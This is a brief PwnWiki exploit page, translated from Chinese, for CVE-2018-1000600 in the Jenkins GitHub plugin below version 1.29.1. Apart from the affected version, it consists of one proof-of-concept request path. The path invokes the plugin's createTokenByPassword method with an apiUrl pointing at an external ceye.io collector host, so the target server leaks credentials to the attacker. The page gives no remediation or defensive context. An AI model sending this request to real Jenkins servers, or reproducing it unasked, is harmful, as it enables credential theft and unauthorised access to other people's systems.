CVE-2018-1000600 Jenkins GitHub Information Leak

From PwnWiki
This page is a translated version of the page CVE-2018-1000600 Jenkins GitHub 信息泄漏 and the translation is 100% complete.
Other languages:
Chinese • ‎English • ‎中文（繁體）‎

Affected version

Jenkins GitHub plugin is less than 1.29.1

The POC used is as follows, where user1 is the user name. 

/securityRealm/user/user1/descriptorByName/org.jenkinsci.plugins.github.config.GitHubTokenCredentialsCreator/createTokenByPassword?apiUrl=http://xxx.ceye.io
Retrieved from "https://pwnwiki.com/index.php?title=CVE-2018-1000600_Jenkins_GitHub_信息泄漏/en&oldid=3643"